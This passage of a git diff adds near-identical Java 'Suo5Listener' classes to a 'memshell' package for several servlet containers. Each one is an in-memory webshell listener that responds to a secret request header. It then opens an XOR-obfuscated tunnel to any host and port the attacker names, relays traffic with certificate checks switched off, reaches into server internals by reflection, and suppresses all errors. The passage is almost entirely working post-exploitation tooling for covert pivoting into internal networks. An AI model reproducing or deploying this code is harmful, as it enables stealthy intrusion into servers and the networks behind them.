authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + String contentType = request.getContentType(); + if (contentType == null) { + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + } catch (Exception ignored) { + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + // glassfish7 + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/suo5/Suo5Listener.java new file mode 100644 index 00000000..96667bb4 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/suo5/Suo5Listener.java @@ -0,0 +1,603 @@ +package com.reajason.javaweb.memshell.jetty.suo5; + +import javax.net.ssl.*; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Listener() { + } + + public Suo5Listener(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Listener p = new Suo5Listener(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + String contentType = request.getContentType(); + if (contentType == null) { + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + } catch (Exception ignored) { + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/suo5/Suo5Listener.java new file mode 100644 index 00000000..e4804054 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/suo5/Suo5Listener.java @@ -0,0 +1,599 @@ +package com.reajason.javaweb.memshell.resin.suo5; + +import javax.net.ssl.*; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Listener() { + } + + public Suo5Listener(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Listener p = new Suo5Listener(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void 